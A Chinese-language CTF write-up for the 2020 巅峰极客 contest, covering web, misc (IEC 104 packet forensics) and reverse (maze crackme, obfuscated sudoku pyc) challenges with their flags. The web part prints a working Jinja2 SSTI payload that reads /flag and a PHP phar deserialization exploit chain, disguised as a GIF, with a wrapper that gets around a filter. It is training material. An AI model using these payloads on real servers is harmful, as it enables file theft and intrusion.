巅峰极客2020部分write up

今天跟着大哥们做了做巅峰极客,感觉还可以,放个wp。

Web

babyflask(point:47)

真正意义上的babyflask,很简单的ssti,当时直接用之前留下来的payload一把梭了
打开界面大大的whoami仿佛就在提醒我,但是俺当时没在意,现在想想还真是很细节。

这几个功能点

处处都在暗示我去登录,让我点击log in
那俺就满足你这小小的愿望:
随手输入了一个admin,然后就弹出来了hello!admin,凭借我敏锐的直觉,一下就猜到这儿就是SSTI的触发点!抓包repeater

然后就拿出了祖传的payload一把梭了。payload:{{[].__class__.__base__.__subclasses__()[117].__init__.__globals__.__builtins__.open("/flag").read()}}
这个方法是利用的os._warp_close类中的读取功能。

flag{e8aadce3-b1a6-43bd-85e3-7c566dbe5624}

babyphp2(point:80)



上来就是一波嘲讽,我这小暴脾气,对着这个辣鸡登录框一顿注入,最后啥也不是,转战扫后台文件。发现www.zip源码泄露,得到关键源码

有上传有读取,第一反应就是phar反序列化,在源码中发现所有功能点都在classes.php
反序列化链poc
利用Reader类的__set方法进行文件读取,构造思路:想触发Reader类中的__set方法,可以通过调用一个不存在的属性进行触发,所以可以通过User类中User()->nickname=Reader(),调用到__set(),通过dbCtrl中的echo又可以触发调用到User类,当 token=User()时,echo会将一个User类实例化的对象当成字符串进行处理从而触发User类中的__tostring方法。pop链构造好后,通过read功能触发phar

<?php
Class Reader{}
Class User{
    public $nickname;
    public $backup="/flag";
}
class dbCtrl{
    public $token;
}
$a = new Reader();
$b = new User();
$b->nickname = $a;
$c = new dbCtrl();
$c->token = $b;

$phar = new Phar('Phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置 stub,增加 gif 文件头
$phar ->addFromString('test.txt','test');  //添加要压缩的文件
$phar -> setMetadata($c);  //将自定义 meta-data 存入 manifest
$phar -> stopBuffering();

运行生成.phar文件,修改后缀为.gif,在upload页面上传

得到完整路径,访问read,因为read中ban掉了^phar开头的方法,所以可以用compress.zlib://phar://触发phar反序列化

flag{5c909e93-6077-4045-b197-b530ad8fc320}

Misc

签到(point:6)

拼图题,拼完即getflag:flag{321223cc-a5c3-44ce-a638-9e119d9290a2}

baby_forensics(point:278)

一开始拿到一个名为chal的文件,下意识笔记本打开,一堆乱码,binwalk分析得知是数据包。

打开之后全是TCP和IEC(这玩意儿孩子也没见过啊)
一顿百度之后发现是IEC 60870-5-104协议,开始漫长的翻看文章的路程,中午吃饭就开始看,一直看到两三点。
大概总结就是IEC 60870-5-104是电网控制所用的,传输包分为IUS三种。

根据上图分析只有I帧是我们所需要的包数据。该类型的数据存在于ASDU包的最后几个字节。

这里发现一个报文翻译器可以用

选择104规约,可以看到所对应的信息对象地址为3,最后01表示ON合。
过滤搜索数据包,得到开关序列:

dump下来为:2 3 6 7 10 11 13 14 19 20 22 26 27 31 32 30 40 38 39 37 34 36 42 47 46 50 54 53 64 58 66 70 72 71
在这个地方又卡了巨久,卡到我怀疑人生,全部转01之后想变二维码但位数又不够,面对一大坨01串发呆。后来坐在旁边的同学给我整了一句,开关状态不是01代表的嘛?那为啥不能是所有开关状态组成一个01串,说这他就用祖传的C++写了一个代码,跑出来一段01代码。

python脚本如下:

List = [2, 3, 6, 7, 10, 11, 13, 14, 19, 20, 22, 26, 27, 31, 32, 30, 40, 38, 39, 37, 34, 36, 42, 47, 46, 50, 54, 53, 64, 58, 66, 70, 72, 71]
ans = ''
for i in range(1,73):
    if i in List:
        ans += "1"
    else:
        ans += "0"
print(ans)

得到01串:011001100110110000110100011001110101111101000110010011000100000101000111
在线解密得到fl4g_FLAG


后来主办方提示需要将字符串md5加密最终得到flag{1f363c8468013726578830465d4739fe}

Reverse

Virus(point:64)

exeinfo打开,32位无壳程序。

ida打开,main函数打开就是核心函数:

从函数中可以看出,输入中包含了四个 " - " 将这个flag分割成五个部分。且第一部分为纯数字。


在跟进中发现step中规定了长度顺序,13h,19h,1ah,1ch,折合十进制是19,25,26,28.
继续跟进check_flag函数

发现是个迷宫,在字符串中也看到了迷宫的样子

S开头,D结尾,正好四个部分,中间步数还能和刚才得到的数字对应上,根据步数和刚得到的顺序可知四个迷宫的顺序为4312,最终得到getflag;

flag{4312-wwwwwdddddddddsssss-aaaaaaaaasssssssddddddddd-dddddddddsssssaaaaaaaaawww-sdsdsdsdsdsdsddwdwdwdwdwdwdw}

fu!k_py(point:100)

下载得到.pyc文件,直接反编译得到py文件,如下:

(lambda __g, __print: continue[ [ (lambda __after: if __name__ == '__main__':
continue[ (None, ([],), (lambda __after: if len(input) != 87:
(__print('Error len!'), (exit(), __after())[1])[1]None()))((lambda : continue[ [ [ [ ([], ([],), (lambda __after: if fmt1 != 'flag{' or fmt2 != '}':
(__print('Error fmt!'), (exit(0), __after())[1])[1]None()))((lambda : continue([], ([], ([], ([], ([], ([], ([], ([], ([], [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ [ (([],), (lambda __after: if d[0][2] != '5' or d[0][3] != '3':
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if d[1][0] != '8' or d[1][7] != '2':
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if d[2][1] != '7' and d[2][4] != '1' or d[2][6] != '5':
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if d[3][0] != '4' and d[3][5] != '5' or d[3][6] != '3':
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if d[4][1] != '1' and d[4][4] != '7' or d[4][8] != '6':
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if d[5][2] != '3' and d[5][3] != '2' or d[5][7] != '8':
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if d[6][1] != '6' and d[6][3] != '5' or d[6][8] != '9':
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if d[7][2] != '4' or d[7][7] != '3':
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if d[8][5] != '9' or d[8][6] != '7':
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if check(h1) != 45 and check(h2) != 45 and check(h3) != 45 and check(h4) != 45 and check(h5) != 45 and check(h6) != 45 and check(h7) != 45 and check(h8) != 45 or check(h9) != 45:
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if check(l1) != 45 and check(l2) != 45 and check(l3) != 45 and check(l4) != 45 and check(l5) != 45 and check(l6) != 45 and check(l7) != 45 and check(l8) != 45 or check(l9) != 45:
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if check(k1) != 45 and check(k2) != 45 and check(k3) != 45 and check(k4) != 45 and check(k5) != 45 and check(k6) != 45 and check(k7) != 45 and check(k8) != 45 or check(k9) != 45:
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if check1(h1) != 1 and check1(h2) != 1 and check1(h3) != 1 and check1(h4) != 1 and check1(h5) != 1 and check1(h6) != 1 and check1(h7) != 1 and check1(h8) != 1 or check1(h9) != 1:
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if check1(l1) != 1 and check1(l2) != 1 and check1(l3) != 1 and check1(l4) != 1 and check1(l5) != 1 and check1(l6) != 1 and check1(l7) != 1 and check1(l8) != 1 or check1(l9) != 1:
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : ((None,), (lambda __after:
if check1(k1) != 1 and check1(k2) != 1 and check1(k3) != 1 and check1(k4) != 1 and check1(k5) != 1 and check1(k6) != 1 and check1(k7) != 1 and check1(k8) != 1 or check1(k9) != 1:
(__print('Error!'), (exit(), __after())[1])[1]None()))((lambda : (__print('Yes! You got it!'), __after())[1]))
))
))
))
))
))
))
))
))
))
))
))
))
))
)) for None in [
                        context[60] + context[61] + context[62] + context[69] + context[70] + context[71] + context[78] + context[79] + context[80]] ][0] for None in [
                        context[57] + context[58] + context[59] + context[66] + context[67] + context[68] + context[75] + context[76] + context[77]] ][0] for None in [
                        context[54] + context[55] + context[56] + context[63] + context[64] + context[65] + context[72] + context[73] + context[74]] ][0] for None in [
                        context[33] + context[34] + context[35] + context[42] + context[43] + context[44] + context[51] + context[52] + context[53]] ][0] for None in [
                        context[30] + context[31] + context[32] + context[39] + context[40] + context[41] + context[48] + context[49] + context[50]] ][0] for None in [
                        context[27] + context[28] + context[29] + context[36] + context[37] + context[38] + context[45] + context[46] + context[47]] ][0] for None in [
                        context[6] + context[7] + context[8] + context[15] + context[16] + context[17] + context[24] + context[25] + context[26]] ][0] for None in [
                        context[3] + context[4] + context[5] + context[12] + context[13] + context[14] + context[21] + context[22] + context[23]] ][0] for None in [
                        context[0] + context[1] + context[2] + context[9] + context[10] + context[11] + context[18] + context[19] + context[20]] ][0] for None in [
                        context[8] + context[17] + context[26] + context[35] + context[44] + context[53] + context[62] + context[71] + context[80]] ][0] for None in [
                        context[7] + context[16] + context[25] + context[34] + context[43] + context[52] + context[61] + context[70] + context[79]] ][0] for None in [
                        context[6] + context[15] + context[24] + context[33] + context[42] + context[51] + context[60] + context[69] + context[78]] ][0] for None in [
                        context[5] + context[14] + context[23] + context[32] + context[41] + context[50] + context[59] + context[68] + context[77]] ][0] for None in [
                        context[4] + context[13] + context[22] + context[31] + context[40] + context[49] + context[58] + context[67] + context[76]] ][0] for None in [
                        context[3] + context[12] + context[21] + context[30] + context[39] + context[48] + context[57] + context[66] + context[75]] ][0] for None in [
                        context[2] + context[11] + context[20] + context[29] + context[38] + context[47] + context[56] + context[65] + context[74]] ][0] for None in [
                        context[1] + context[10] + context[19] + context[28] + context[37] + context[46] + context[55] + context[64] + context[73]] ][0] for None in [
                        context[0] + context[9] + context[18] + context[27] + context[36] + context[45] + context[54] + context[63] + context[72]] ][0] for None in [
                        context[72:81]] ][0] for None in [
                        context[63:72]] ][0] for None in [
                        context[54:63]] ][0] for None in [
                        context[45:54]] ][0] for None in [
                        context[36:45]] ][0] for None in [
                        context[27:36]] ][0] for None in [
                        context[18:27]] ][0] for None in [
                        context[9:18]] ][0] for None in [
                        context[0:9]] ][0])[1])[1])[1])[1])[1])[1])[1])[1])[1]
)) for None in [
                    []] ][0] for None in [
                    input[5:-1]] ][0] for None in [
                    input[-1]] ][0] for None in [
                    input[0:5]] ][0]
)) for None in [
                raw_input('Input your flag:')] ][0]
        return None()
)((lambda : pass)) for None in [
        ((lambda arg: (lambda __l: continue[ (lambda __after: if len(list(set(__l['arg']))) != 9:
0)((lambda : pass)) for None in [
                    arg] ][0]
)({ })
), 'check1')] ][0] for None in [
        ((lambda arg: (lambda __l: continue[ sum(map(int, __l['arg'])) for None in [
arg] ][0])({ })
), 'check')] ][0]
)(globals(), __import__('__builtin__', level = 0).__dict__['print'])

经过onelinerizer混淆的函数,需要逆序来了解程序整体执行逻辑,可以发现上面在判断的是一个99的矩阵,而且加法判断那里是一个数独的判断方法,输入的长度为87,flag{}+99的长度正好为87,所以这题重在解决这个数独。
提取出该数独

http://www.llang.net/sudoku/calsudoku.html这个网站求解数独

按照横行的顺序拼在一起就是最后的flag。
flag{145327698839654127672918543496185372218473956753296481367542819984761235521839764}

最后修改:2020 年 09 月 26 日 11 : 09 PM
请作者喝杯奶茶吧~